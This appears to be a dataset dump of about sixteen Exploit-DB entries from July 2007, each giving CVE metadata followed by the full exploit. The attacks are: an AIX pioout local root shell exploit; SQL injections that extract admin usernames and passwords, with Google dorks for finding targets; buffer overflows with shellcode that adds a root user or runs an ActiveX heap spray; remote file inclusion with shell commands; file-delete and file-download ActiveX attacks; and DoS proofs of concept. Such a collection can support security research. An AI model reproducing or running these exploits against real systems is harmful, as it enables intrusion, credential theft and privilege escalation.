QLWD/code_shield huggingface dataset:
标题: IBM AIX 5.3 SP6 - 'pioout' Arbitrary Library Loading Privilege Escalation EDB-ID: 4232 CVE: 2007-4003 类型: LOCAL 平台: AIX 发布日期: 2007-07-27 漏洞利用脚本: #!/bin/sh
#
# 07/2007: public release
# IBM AIX <= 5.3 sp6
#
echo "-------------------------------"
echo " AIX pioout Local Root Exploit "
echo " By qaaz"
echo "-------------------------------"
cat >piolib.c <<_EOF_
#include <stdlib.h>
#include <unistd.h>
void init() __attribute__ ((constructor));
void init()
{
 seteuid(0);
 setuid(0);
 putenv("HISTFILE=/dev/null");
 execl("/bin/bash", "bash", "-i", (void *) 0);
 execl("/bin/sh", "sh", "-i", (void *) 0);
 perror("execl");
 exit(1);
}
_EOF_
gcc piolib.c -o piolib -shared -fPIC
[ -r piolib ] && /usr/lpd/pio/etc/pioout -R ./piolib
rm -f piolib.c piolib

# milw0rm.com [2007-07-27] URL: https://www.exploit-db.com/exploits/4232
标题: SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection EDB-ID: 4239 CVE: 2007-4055 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: #!/usr/bin/perl

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#              SimpleBlog 3.0 [ comments_get.asp ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#                 Vulnerability by MurderSkillz                  #
#                                                                #
#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #
#              Canuck, a59, sess, bernard, + the rest of g00ns   #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP::UserAgent;

$host = @ARGV[0];
$ua = LWP::UserAgent->new;

my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';

if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
else { &xpl( ) }
sub xpl( ) {
  &top( );
  print "\n [~] Connecting\n";
  $res = $ua->get("http://$host/$inject");

  $con = $res->content;
  print "\n [~] Checking for admin info\n";
  if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
  {
     print "\n\t [+] Admin user: $1\n";
  }
  if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)
  {
     print "\n\t [+] Admin password: $2\n";
     print "\n [+] Complete\n";
  }
  else {
      print "\n [-] Unable to retrieve admin info\n";
      exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #             SimpleBlog 3.0  [ comments_get.asp ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                   Vulnerability by MurderSkillz                #
  ##################################################################
  }
}
sub usage( )
{
  print "\n Usage: perl simpleblog3.pl <host>\n";
  print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";
  exit(0);
}

# milw0rm.com [2007-07-28] URL: https://www.exploit-db.com/exploits/4239
标题: Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File EDB-ID: 4230 CVE: 2007-4031 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-26 漏洞利用脚本: <HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX deleteReport() 0day Remote Delete File Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3-18438023193B"></object>

<script language="javascript">
obj.deleteReport("../../../../../../../test.txt"); //Deleting file: C:\test.txt
alert("done");
</script>
</HTML>

# milw0rm.com [2007-07-26] URL: https://www.exploit-db.com/exploits/4230
标题: CrystalPlayer 1.98 - '.mls' Local Buffer Overflow EDB-ID: 4229 CVE: 2007-4032 类型: LOCAL 平台: WINDOWS 发布日期: 2007-07-26 漏洞利用脚本: #!/usr/bin/perl
######################################################################################################################
#Crystal Player 1.98
#Playlist(.mls) File Local Buffer Overflow Exploit
#Source:: http://www.crystalplayer.com/CrystalPro.exe
#Credit To Timq For The Vulnerability
#POC By Arham Muhammad
#######################################################################################################################

#While Debugging EIP And EBP Successfully Gets Overwritten!
#Upon Successful Exploitation, DOS Occurs And It Further Destorys The Libraries,Upon Successful Exploitation
#When The Next Time App Is Executed
#It Throws Microsfot Visual C++ Runtime Library Error Followed By An Other Exception
#The POC Add user "root" with password "root" to the os!
#Tested On x86 vista enterprise ed.
#Might require Changing esp address coz of os and sp change


print "Crystal Player 1.98 Local Bufferoverflow Exploit\n";
print "Creating Crafted .mls File\n";


$buff = 'A' x 1033;


$ret = "\x76\xF5\x48\x37"; #call esp in ntdll.dll



# win32_adduser - PASS=root EXITFUNC=seh USER=root Size=232 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xea". #Add user root with pass root 232 bytes
"\x15\xcd\x86\x83\xeb\xfc\xe2\xf4\x16\xfd\x89\x86\xea\x15\x46\xc3".
"\xd6\x9e\xb1\x83\x92\x14\x22\x0d\xa5\x0d\x46\xd9\xca\x14\x26\xcf".
"\x61\x21\x46\x87\x04\x24\x0d\x1f\x46\x91\x0d\xf2\xed\xd4\x07\x8b".
"\xeb\xd7\x26\x72\xd1\x41\xe9\x82\x9f\xf0\x46\xd9\xce\x14\x26\xe0".
"\x61\x19\x86\x0d\xb5\x09\xcc\x6d\x61\x09\x46\x87\x01\x9c\x91\xa2".
"\xee\xd6\xfc\x46\x8e\x9e\x8d\xb6\x6f\xd5\xb5\x8a\x61\x55\xc1\x0d".
"\x9a\x09\x60\x0d\x82\x1d\x26\x8f\x61\x95\x7d\x86\xea\x15\x46\xee".
"\xd6\x4a\xfc\x70\x8a\x43\x44\x7e\x69\xd5\xb6\xd6\x82\xe5\x47\x82".
"\xb5\x7d\x55\x78\x60\x1b\x9a\x79\x0d\x76\xa0\xe2\xc4\x70\xb5\xe3".
"\xca\x3a\xae\xa6\x84\x70\xb9\xa6\x9f\x66\xa8\xf4\xca\x67\xa2\xe9".
"\x9e\x35\xbf\xe9\x85\x61\xed\xa9\xab\x51\x89\xa6\xcc\x33\xed\xe8".
"\x8f\x61\xed\xea\x85\x76\xac\xea\x8d\x67\xa2\xf3\x9a\x35\x8c\xe2".
"\x87\x7c\xa3\xef\x99\x61\xbf\xe7\x9e\x7a\xbf\xf5\xca\x67\xa2\xe9".
"\x9e\x35\xe2\xc7\xae\x51\xcd\x86";


$nopsled = "\x90" x 797; #Nopsled to fill the buffer



open(mls, ">./buffer.mls");
print mls "$buff";
print mls "$ret";
print mls "$nopsled";
print mls "$shellcode";


print "Crafted File Created!\n";


#Arham Muhammad
#rko.thelegendkiller@ gmail.com

#Greets:: str0ke,Hackman,tushy,And All My Friends, Specially AmBi(Love Ya!!!);
#Gr0undbreakerz

# milw0rm.com [2007-07-26] URL: https://www.exploit-db.com/exploits/4229
标题: Adult Directory - 'cat_id' SQL Injection EDB-ID: 4238 CVE: 2007-4056 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-27 漏洞利用脚本: --==+================================================================================+==--
--==+      Adult Directory SQL Injection Vulnerbility                +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://photo.sourceforge.net/
DORK: altavista.com > "Search Adult Directory:"


DESCRIPTION: 
pull out admin login details

EXPLOITS:
http://server.com/directory.php?ax=list&sub=7&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/FROM/**/admin/*


NOTE/TIP: 


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+      Adult Directory SQL Injection Vulnerbility                +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-27] URL: https://www.exploit-db.com/exploits/4238
标题: Article Directory - 'index.php' Remote File Inclusion EDB-ID: 4221 CVE: 2007-4007 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-24 漏洞利用脚本: dork:inurl:index.php%"Submit%Articles"%"Member%Login"%"Top%Authors"
dork:inurl:index.php?pagedb=rss
expl:index.php?page=shell?
 
original post:http://darkcode.ath.cx/f0rum/ind3x.php?action=vthread&forum=12&topic=114
 
author:mozi2weed@yahoo.com
greetz:d3hydr8, whoami
 
#pace

# milw0rm.com [2007-07-24] URL: https://www.exploit-db.com/exploits/4221
标题: IndexScript 2.8 - 'cat_id' SQL Injection EDB-ID: 4225 CVE: 2007-4069 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: Site: http://indexscript.com
Found By: xssvgamer

Google Dork: allintext: "This site is powered by IndexScript"

exploit:

http://www.example.com/show_cat.php?cat_id=-1 UNION ALL SELECT login,password FROM dir_login /*

Blind SQL injection in indexscript..

Vul Code:
"$sql = "select name, meta_title, meta_description, meta_keywords from dir_cat where " .
 "cat_id=" . fnpreparesql($_GET['cat_id']);"

# milw0rm.com [2007-07-25] URL: https://www.exploit-db.com/exploits/4225
标题: PHP 5.2.3 Win32std - 'win_shell_execute' Safe Mode / disable_functions Bypass EDB-ID: 4218 CVE: 2007-4010 类型: LOCAL 平台: WINDOWS 发布日期: 2007-07-24 漏洞利用脚本: <?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

# milw0rm.com [2007-07-24] URL: https://www.exploit-db.com/exploits/4218
标题: PHP 5.2.3 - 'PHP_gd2.dll' imagepsloadfont Local Buffer Overflow (PoC) EDB-ID: 4227 CVE: 2007-4033 类型: DOS 平台: WINDOWS 发布日期: 2007-07-26 漏洞利用脚本: <?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
 die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?>

# milw0rm.com [2007-07-26] URL: https://www.exploit-db.com/exploits/4227
标题: Microsoft Windows Explorer - '.GIF' Image Denial of Service EDB-ID: 4215 CVE: 2007-3958 类型: DOS 平台: WINDOWS 发布日期: 2007-07-23 漏洞利用脚本: #!/usr/bin/perl
###############################################################
# Bug Found By ::DeltahackingTEAM
##
# Coded By Reza.Yavari (Dr.Pantagon)
##
#Web Site::Www.Deltahacking.net  And Www.DeltaSecurity.ir And Www.PersianWhois.com
##
#Free Upload :: Www.Persianupload.com  And Www.Persianupload.net
##
#Email: Dr.Pantagon [A]Deltasecurity.ir
##
# We Are::Dr.Trojan,Hiv++,D_7j,Dr.Pantagon,Impostor,Lord,Vpc,And....All Mem

print "\nGIF PoC denial of service exploit by Dr.Pantagon < Dr.Pantagon@deltasecurity.ir>";
print "\n\ngenerating Art.gif...";
print "\n\nUsage :";
print "\n\n1- Mouse Over Art.gif For Excute Exploit ";
print "\n\n2- Single Click Art.gif For Excute Exploit ";
print "\n\n3- Double Clik Art.gif (Open) For Excute Exploit ";
print "\n\n4- More... ";
print "\n\nYou Can open Art.gif Or Select Art.gif(Single Click) Or Delete Art.gif For Run(Excute) Exploit";
open(gif, ">./Art.gif") or die "cannot create gif file\n";
print gif "\x02\x00\x09\x00\x00\x03\x22\x00\x00\x00\x6\x7\x6\x6\x6\x64";
print gif "\x2D\x49\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print gif "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99";
print gif "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";
print gif "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90";
print gif "\x02\x00\x09\x00\x00\x03\x22\x00\x00\x00\x6\x7\x6\x6\x6\x64";
print gif "\x2D\x49\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print gif "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print gif "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
close(gif);
print "ok\n\nok Gif Exploit Creat and run exploit and wait :)\n";

# milw0rm.com [2007-07-23] URL: https://www.exploit-db.com/exploits/4215
标题: Xserver 0.1 Alpha - 'POST' Remote Buffer Overflow (PoC) EDB-ID: 4216 CVE: 2007-3957 类型: DOS 平台: LINUX 发布日期: 2007-07-23 漏洞利用脚本: #!/usr/bin/perl
#
#      _                                    _                   _  
#   __| | ___ _   _ ___  ___ ___  _ __  ___| |_ _ __ _   _  ___| |_
#  / _` |/ _ \ | | / __|/ __/ _ \| '_ \/ __| __| '__| | | |/ __| __|
# | (_| |  __/ |_| \__ \ (_| (_) | | | \__ \ |_| |  | |_| | (__| |_ 
#  \__,_|\___|\__,_|___/\___\___/|_| |_|___/\__|_|   \__,_|\___|\__|
#                      d.e.u.s..c.o.n.s.t.r.u.c.t
#
# Type       -> Proof-of-Concept (P0C) Remote DoS Buffer Overflow
# App        -> Xserver 0.1 Alpha
# URL        -> http://sourceforge.net/projects/xserver/
# Found By   -> deusconstruct
#
# Stack trace:
# Frame     Function  Args
# 18FDC978  610DE824  (41414141, 004020E4, 0040202E, 00000000)
# 18FDCD58  004015D4  (41414141, 41414141, 41414141, 41414141)
#
# Usage: perl xserver-dos-poc.pl www.target.com

use LWP::UserAgent;

$uniq = LWP::UserAgent->new;
$url = shift or die("Please insert a target domain or IP!");
$buffer = 150; # Teh evil 0verflow ammount

print "\n============================\n";
print "Xserver 0.1 Alpha Remote DoS\n";
print "DiSc0vEreD by deusconstruct\n";
print "============================\n";
print "\n";
print "[+] Sending evil buffer to $url ...\n";
$req = HTTP::Request->new(POST => "http://$url/" . A x $buffer);
$res = $uniq->request($req);
print "[+] Evil buffer sent! Enj0y!\n";

# milw0rm.com [2007-07-23] URL: https://www.exploit-db.com/exploits/4216
标题: Confixx Pro 3.3.1 - 'saveserver.php' Remote File Inclusion EDB-ID: 4219 CVE: 2007-4009 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-24 漏洞利用脚本: [*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
__________________________________________________________________________

[!] Application homepage :   http://www.swsoft.com/de/products/confixx/
[!] Author               :   H4 / XPK
[!] Contact              :   http://xpkzxc.com/
[!] Bug discovered       :   2007-07-21
[!] Bug published        :   2007-07-24
[!] Risk                 :   Moderate

Do not forget visit our page for new vulnerabilites , information and tools.

---------------------------------------------------------------------

Vuln. code: admin/business_inc/saveserver.php

Lines 8-11

if( !in_array($returnto, $actions) )
{
        include( $thisdir . "/business_inc/list.php" );
}

Variable $thisdir is not defined ...

---------------------------------------------------------------------

An attacker does not need to be authenticated to access this file.

[!] Conditions: open_basedir restriction off and allow_url_fopen = on

[!] Exploitation : http://[target]/admin/business_inc/saveserver.php

Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la

---------------------------------------------------------------------

# milw0rm.com [2007-07-24] URL: https://www.exploit-db.com/exploits/4219
标题: Clever Internet ActiveX Suite 6.2 - Arbitrary File Download/Overwrite EDB-ID: 4226 CVE: 2007-4067 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-25 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------
 <b>Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit</b>
 url: http://www.clevercomponents.com/home/news.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller, data
 IPStorage Safe:  Safe for untrusted: caller,data</b>

 Using the "GetToFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------------

<object classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.GetToFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\windows\system32\shinnai.txt"
 MsgBox("Exploit completed!")

End Sub
</script>

</span>
</code></pre>

# milw0rm.com [2007-07-25] URL: https://www.exploit-db.com/exploits/4226
标题: LinkedIn Toolbar 3.0.2.1098 - Remote Buffer Overflow EDB-ID: 4217 CVE: 2007-3955 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-24 漏洞利用脚本: <HTML>
<TITLE>In God We Trust, VDA Labs, LLC</TITLE>
<HEAD>
<object classid='clsid:0F2437D6-C4E4-42CA-A906-F506E09354B7' id='target'></object>
<script language='javascript'>  

   function repeat(n,c)
   {
 retval="";
 for (i=0;i<n;i++)
  retval = retval + c;
 return retval
   }

   //EAX contains this value.  call [eax].  that lands us on the nops.
   blind_jmp = repeat(50000,unescape("%u0a0a%u0a0a"));  

   //shellcode:  From metasploit.com. SC can be very big if you want.
   shellcode = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%ub213%u28cd%u837b%ufceb%uf4e2%u254e%u7b6c%ucdb2%u3ea3%u468e%u7e54%uccca%uf0c7%ud5fd%u24a3%ucc92%u32c3%uf939%u7aa3%ufc5c%ue2e8%u491e%u0fe8%u0cb5%u76e2%u0fb3%u8fc3%u9989%u7f0c%u28c7%u24a3%ucc96%u1dc3%uc139%uf063%ud1ed%u9029%ud139%u7aa3%u4459%u5f74%u0eb6%ubb19%u46d6%u4b68%u0d37%u7750%u8d39%uf024%ud1c2%uf085%uc5da%u72c3%u4d39%u7b98%ucdb2%u13a3%u928e%u8d19%u9bd2%u83a1%u0d31%u2b53%ub3da%u99f0%ua5c1%u85b0%uc338%u847f%uae55%u1749%ue3d1%u034d%ucdd7%u7b28");

   //changed to point to 0x0a0a0a0a
   nops = repeat(3925, unescape("%u0a0a%u0a0a") ); //jmp +0, push eax, pop eax
   
   mem = new Array();
   for(i=0; i<9000; i++)
   {
 mem[i] = nops+shellcode;
   }

   //make string
   target.search("jared", blind_jmp);

</script>
</body>
</html>

# milw0rm.com [2007-07-24] URL: https://www.exploit-db.com/exploits/4217
标题: WSN Links Basic Edition - 'catid' SQL Injection EDB-ID: 4209 CVE: 2007-3981 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-21 漏洞利用脚本: --==+================================================================================+==--
--==+      WSN Links Basic Edition SQL Injection Vulnerbility              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: wsnforum.com
DORK: Google: intext:"Powered by WSN Links Basic Edition"     Altavista: "Powered by WSN Links Basic Edition"


DESCRIPTION: 
pull out member info from the database


EXPLOITS:
http://www.server.com/Script_Dir/index.php?action=displaycat&catid=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,concat(email,0x3a,password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/wsnlinks_members/**/LIMIT/**/0,1/*


NOTE/TIP: 
admin login is at Script_Dir/adminlogin.php usually the first user is admin
also the amount of 'columns' may differ althou its normally 35 or 28.
the script also uses table prefix, the most used are wsnlinks and wsn so that would make the table wsn_members ect.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !



--==+================================================================================+==--
--==+      WSN Links Basic Edition SQL Injection Vulnerbility              +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-21] URL: https://www.exploit-db.com/exploits/4209
标题: bwired - 'index.php?newsID' SQL Injection EDB-ID: 4213 CVE: 2007-3978 2007-3977 2007-3976 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-22 漏洞利用脚本: ###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#bwired - Remote SQL Injection
#
#Note #######################################################################################
#There is also XSS, PHPSESSID session fixation, and cookie manipulation which I will not go into..
#The admin hash will be the same for all the sites I believe. Seeing all the sites are managed by the creator of the webapp.
#Script Website ##############################################################################
#http://web.bwired.com.au
#
#d0rk ######################################################################################
#"Powered by bwired" inurl:?newsID=
#
#Spl0it #########################################################################################
#http://vicsite.com/[pathtobwired]/index.php?newsID=-99%20union%20all%20select 1, 2,concat(user_login,0x20,0x3a,0x20,user_passwd),4, 5, 6, 7, 8, 9, 10, 11%20from%20authuser
#
#vuln discovered by ###############################################################################
#MurderSkillz
#
#shoutz: z3r0, fish, milf, ScUzZ, godxcel, clorox, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, c0ma, grumpy, err0r, sick, trintitty, asdfhacks.com , a59, freeillwill.com, fury,
#<S>, Bernard and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-07-22] URL: https://www.exploit-db.com/exploits/4213